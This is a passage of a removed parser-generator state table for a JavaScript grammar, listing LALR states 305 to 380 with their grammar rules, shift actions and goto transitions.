-
-state 305
-
- 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr
- 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr
- 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr
- 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr
- 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr
- 149) EqualityExprNoIn : RelationalExprNoIn _
-
-  INSTANCEOF    shift, and go to state 389
-  LE            shift, and go to state 387
-  GE            shift, and go to state 388
-  "<"           shift, and go to state 385
-  ">"           shift, and go to state 386
-  $default      reduce using rule 149 (EqualityExprNoIn)
-
-
-state 306
-
- 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn
- 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn
- 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn
- 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn
- 161) BitwiseANDExprNoIn : EqualityExprNoIn _
-
-  EQEQ          shift, and go to state 390
-  NE            shift, and go to state 391
-  STREQ         shift, and go to state 392
-  STRNEQ        shift, and go to state 393
-  $default      reduce using rule 161 (BitwiseANDExprNoIn)
-
-
-state 307
-
- 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn
- 167) BitwiseXORExprNoIn : BitwiseANDExprNoIn _
-
-  "&"           shift, and go to state 394
-  $default      reduce using rule 167 (BitwiseXORExprNoIn)
-
-
-state 308
-
- 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn
- 173) BitwiseORExprNoIn : BitwiseXORExprNoIn _
-
-  "^"           shift, and go to state 395
-  $default      reduce using rule 173 (BitwiseORExprNoIn)
-
-
-state 309
-
- 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn
- 179) LogicalANDExprNoIn : BitwiseORExprNoIn _
-
-  "|"           shift, and go to state 396
-  $default      reduce using rule 179 (LogicalANDExprNoIn)
-
-
-state 310
-
- 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn
- 185) LogicalORExprNoIn : LogicalANDExprNoIn _
-
-  AND           shift, and go to state 397
-  $default      reduce using rule 185 (LogicalORExprNoIn)
-
-
-state 311
-
- 186) LogicalORExprNoIn : LogicalORExprNoIn _ OR LogicalANDExprNoIn
- 191) ConditionalExprNoIn : LogicalORExprNoIn _
- 192) ConditionalExprNoIn : LogicalORExprNoIn _ "?" AssignmentExprNoIn ":" AssignmentExprNoIn
-
-  OR            shift, and go to state 398
-  "?"           shift, and go to state 399
-  $default      reduce using rule 191 (ConditionalExprNoIn)
-
-
-state 312
-
- 197) AssignmentExprNoIn : ConditionalExprNoIn _
-
-  $default      reduce using rule 197 (AssignmentExprNoIn)
-
-
-state 313
-
- 215) ExprNoIn : AssignmentExprNoIn _
-
-  $default      reduce using rule 215 (ExprNoIn)
-
-
-state 314
-
- 216) ExprNoIn : ExprNoIn _ "," AssignmentExprNoIn
- 254) ExprNoInOpt : ExprNoIn _
-
-  ","           shift, and go to state 400
-  $default      reduce using rule 254 (ExprNoInOpt)
-
-
-state 315
-
- 246) IterationStatement : FOR "(" ExprNoInOpt _ ";" ExprOpt ";" ExprOpt ")" Statement
-
-  ";"           shift, and go to state 401
-
-
-state 316
-
- 247) IterationStatement : FOR "(" VAR _ VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement
- 249) IterationStatement : FOR "(" VAR _ IDENT IN Expr ")" Statement
- 250) IterationStatement : FOR "(" VAR _ IDENT InitializerNoIn IN Expr ")" Statement
-
-  IDENT         shift, and go to state 404
-
-  VariableDeclarationNoIn  go to state 402
-  VariableDeclarationListNoIn  go to state 403
-
-state 317
-
- 257) ContinueStatement : CONTINUE IDENT ";" _
-
-  $default      reduce using rule 257 (ContinueStatement)
-
-
-state 318
-
- 258) ContinueStatement : CONTINUE IDENT error _
-
-  $default      reduce using rule 258 (ContinueStatement)
-
-
-state 319
-
- 261) BreakStatement : BREAK IDENT ";" _
-
-  $default      reduce using rule 261 (BreakStatement)
-
-
-state 320
-
- 262) BreakStatement : BREAK IDENT error _
-
-  $default      reduce using rule 262 (BreakStatement)
-
-
-state 321
-
- 265) ReturnStatement : RETURN Expr ";" _
-
-  $default      reduce using rule 265 (ReturnStatement)
-
-
-state 322
-
- 266) ReturnStatement : RETURN Expr error _
-
-  $default      reduce using rule 266 (ReturnStatement)
-
-
-state 323
-
- 214) Expr : Expr _ "," AssignmentExpr
- 267) WithStatement : WITH "(" Expr _ ")" Statement
-
-  ")"           shift, and go to state 405
-  ","           shift, and go to state 213
-
-
-state 324
-
- 214) Expr : Expr _ "," AssignmentExpr
- 268) SwitchStatement : SWITCH "(" Expr _ ")" CaseBlock
-
-  ")"           shift, and go to state 406
-  ","           shift, and go to state 213
-
-
-state 325
-
- 278) ThrowStatement : THROW Expr ";" _
-
-  $default      reduce using rule 278 (ThrowStatement)
-
-
-state 326
-
- 279) ThrowStatement : THROW Expr error _
-
-  $default      reduce using rule 279 (ThrowStatement)
-
-
-state 327
-
- 280) TryStatement : TRY Block FINALLY _ Block
-
-  "{"           shift, and go to state 65
-
-  Block         go to state 407
-
-state 328
-
- 281) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block
- 282) TryStatement : TRY Block CATCH _ "(" IDENT ")" Block FINALLY Block
-
-  "("           shift, and go to state 408
-
-
-state 329
-
- 285) FunctionDeclaration : FUNCTION IDENT "(" _ ")" "{" FunctionBody "}"
- 286) FunctionDeclaration : FUNCTION IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 369
-  ")"           shift, and go to state 409
-
-  FormalParameterList  go to state 410
-
-state 330
-
-  29) Property : IDENT ":" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  AssignmentExpr  go to state 411
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 331
-
-  32) Property : IDENT IDENT _ "(" ")" "{" FunctionBody "}"
-  33) Property : IDENT IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}"
-
-  "("           shift, and go to state 412
-
-
-state 332
-
-  30) Property : STRING ":" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  AssignmentExpr  go to state 413
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 333
-
-  31) Property : NUMBER ":" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  AssignmentExpr  go to state 414
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 334
-
-  35) PropertyList : PropertyList "," _ Property
-  39) PrimaryExpr : "{" PropertyList "," _ "}"
-
-  NUMBER        shift, and go to state 208
-  STRING        shift, and go to state 207
-  IDENT         shift, and go to state 206
-  "}"           shift, and go to state 416
-
-  Property      go to state 415
-
-state 335
-
-  38) PrimaryExpr : "{" PropertyList "}" _
-
-  $default      reduce using rule 38 (PrimaryExpr)
-
-
-state 336
-
- 214) Expr : Expr "," AssignmentExpr _
-
-  $default      reduce using rule 214 (Expr)
-
-
-state 337
-
-  56) MemberExpr : MemberExpr "[" Expr _ "]"
- 214) Expr : Expr _ "," AssignmentExpr
-
-  ","           shift, and go to state 213
-  "]"           shift, and go to state 417
-
-
-state 338
-
-  57) MemberExpr : MemberExpr "." IDENT _
-
-  $default      reduce using rule 57 (MemberExpr)
-
-
-state 339
-
-  58) MemberExpr : NEW MemberExpr Arguments _
-
-  $default      reduce using rule 58 (MemberExpr)
-
-
-state 340
-
-  69) CallExpr : CallExpr "[" Expr _ "]"
- 214) Expr : Expr _ "," AssignmentExpr
-
-  ","           shift, and go to state 213
-  "]"           shift, and go to state 418
-
-
-state 341
-
-  70) CallExpr : CallExpr "." IDENT _
-
-  $default      reduce using rule 70 (CallExpr)
-
-
-state 342
-
- 196) AssignmentExpr : LeftHandSideExpr AssignmentOperator AssignmentExpr _
-
-  $default      reduce using rule 196 (AssignmentExpr)
-
-
-state 343
-
- 103) MultiplicativeExpr : MultiplicativeExpr "*" UnaryExpr _
-
-  $default      reduce using rule 103 (MultiplicativeExpr)
-
-
-state 344
-
- 104) MultiplicativeExpr : MultiplicativeExpr "/" UnaryExpr _
-
-  $default      reduce using rule 104 (MultiplicativeExpr)
-
-
-state 345
-
- 105) MultiplicativeExpr : MultiplicativeExpr "%" UnaryExpr _
-
-  $default      reduce using rule 105 (MultiplicativeExpr)
-
-
-state 346
-
- 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr
- 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr
- 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr
- 111) AdditiveExpr : AdditiveExpr "+" MultiplicativeExpr _
-
-  "*"           shift, and go to state 225
-  "/"           shift, and go to state 226
-  "%"           shift, and go to state 227
-  $default      reduce using rule 111 (AdditiveExpr)
-
-
-state 347
-
- 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr
- 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr
- 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr
- 112) AdditiveExpr : AdditiveExpr "-" MultiplicativeExpr _
-
-  "*"           shift, and go to state 225
-  "/"           shift, and go to state 226
-  "%"           shift, and go to state 227
-  $default      reduce using rule 112 (AdditiveExpr)
-
-
-state 348
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 117) ShiftExpr : ShiftExpr LSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 117 (ShiftExpr)
-
-
-state 349
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 118) ShiftExpr : ShiftExpr RSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 118 (ShiftExpr)
-
-
-state 350
-
- 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr
- 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr
- 119) ShiftExpr : ShiftExpr URSHIFT AdditiveExpr _
-
-  "+"           shift, and go to state 228
-  "-"           shift, and go to state 229
-  $default      reduce using rule 119 (ShiftExpr)
-
-
-state 351
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 125) RelationalExpr : RelationalExpr "<" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 125 (RelationalExpr)
-
-
-state 352
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 126) RelationalExpr : RelationalExpr ">" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 126 (RelationalExpr)
-
-
-state 353
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 127) RelationalExpr : RelationalExpr LE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 127 (RelationalExpr)
-
-
-state 354
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 128) RelationalExpr : RelationalExpr GE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 128 (RelationalExpr)
-
-
-state 355
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 129) RelationalExpr : RelationalExpr INSTANCEOF ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 129 (RelationalExpr)
-
-
-state 356
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 130) RelationalExpr : RelationalExpr IN ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 130 (RelationalExpr)
-
-
-state 357
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 145) EqualityExpr : EqualityExpr EQEQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 145 (EqualityExpr)
-
-
-state 358
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 146) EqualityExpr : EqualityExpr NE RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 146 (EqualityExpr)
-
-
-state 359
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 147) EqualityExpr : EqualityExpr STREQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 147 (EqualityExpr)
-
-
-state 360
-
- 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr
- 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr
- 127) RelationalExpr : RelationalExpr _ LE ShiftExpr
- 128) RelationalExpr : RelationalExpr _ GE ShiftExpr
- 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr
- 130) RelationalExpr : RelationalExpr _ IN ShiftExpr
- 148) EqualityExpr : EqualityExpr STRNEQ RelationalExpr _
-
-  IN            shift, and go to state 238
-  INSTANCEOF    shift, and go to state 237
-  LE            shift, and go to state 235
-  GE            shift, and go to state 236
-  "<"           shift, and go to state 233
-  ">"           shift, and go to state 234
-  $default      reduce using rule 148 (EqualityExpr)
-
-
-state 361
-
- 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr
- 146) EqualityExpr : EqualityExpr _ NE RelationalExpr
- 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr
- 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr
- 160) BitwiseANDExpr : BitwiseANDExpr "&" EqualityExpr _
-
-  EQEQ          shift, and go to state 239
-  NE            shift, and go to state 240
-  STREQ         shift, and go to state 241
-  STRNEQ        shift, and go to state 242
-  $default      reduce using rule 160 (BitwiseANDExpr)
-
-
-state 362
-
- 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr
- 166) BitwiseXORExpr : BitwiseXORExpr "^" BitwiseANDExpr _
-
-  "&"           shift, and go to state 243
-  $default      reduce using rule 166 (BitwiseXORExpr)
-
-
-state 363
-
- 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr
- 172) BitwiseORExpr : BitwiseORExpr "|" BitwiseXORExpr _
-
-  "^"           shift, and go to state 244
-  $default      reduce using rule 172 (BitwiseORExpr)
-
-
-state 364
-
- 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr
- 178) LogicalANDExpr : LogicalANDExpr AND BitwiseORExpr _
-
-  "|"           shift, and go to state 245
-  $default      reduce using rule 178 (LogicalANDExpr)
-
-
-state 365
-
- 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr
- 184) LogicalORExpr : LogicalORExpr OR LogicalANDExpr _
-
-  AND           shift, and go to state 246
-  $default      reduce using rule 184 (LogicalORExpr)
-
-
-state 366
-
- 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr _ ":" AssignmentExpr
-
-  ":"           shift, and go to state 419
-
-
-state 367
-
- 287) FunctionExpr : FUNCTION "(" ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 420
-
-
-state 368
-
- 288) FunctionExpr : FUNCTION "(" FormalParameterList _ ")" "{" FunctionBody "}"
- 292) FormalParameterList : FormalParameterList _ "," IDENT
-
-  ")"           shift, and go to state 421
-  ","           shift, and go to state 422
-
-
-state 369
-
- 291) FormalParameterList : IDENT _
-
-  $default      reduce using rule 291 (FormalParameterList)
-
-
-state 370
-
- 289) FunctionExpr : FUNCTION IDENT "(" _ ")" "{" FunctionBody "}"
- 290) FunctionExpr : FUNCTION IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 369
-  ")"           shift, and go to state 423
-
-  FormalParameterList  go to state 424
-
-state 371
-
-  47) ArrayLiteral : "[" ElementList "," ElisionOpt _ "]"
-  49) ElementList : ElementList "," ElisionOpt _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "]"           shift, and go to state 425
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  AssignmentExpr  go to state 426
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 372
-
-  60) MemberExprNoBF : MemberExprNoBF "[" Expr "]" _
-
-  $default      reduce using rule 60 (MemberExprNoBF)
-
-
-state 373
-
-  76) Arguments : "(" ArgumentList ")" _
-
-  $default      reduce using rule 76 (Arguments)
-
-
-state 374
-
-  78) ArgumentList : ArgumentList "," _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  AssignmentExpr  go to state 427
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-
-state 375
-
-  73) CallExprNoBF : CallExprNoBF "[" Expr "]" _
-
-  $default      reduce using rule 73 (CallExprNoBF)
-
-
-state 376
-
- 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr ":" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  AssignmentExpr  go to state 428
-  ConditionalExpr  go to state 109
-
-state 377
-
- 223) VariableDeclarationList : VariableDeclarationList "," VariableDeclaration _
-
-  $default      reduce using rule 223 (VariableDeclarationList)
-
-
-state 378
-
- 236) Initializer : "=" AssignmentExpr _
-
-  $default      reduce using rule 236 (Initializer)
-
-
-state 379
-
- 233) ConstDeclarationList : ConstDeclarationList "," ConstDeclaration _
-
-  $default      reduce using rule 233 (ConstDeclarationList)
-
-
-state 380
-
- 241) IfStatement : IF "(" Expr ")" _ Statement
- 242) IfStatement : IF "(" Expr ")" _ Statement ELSE Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
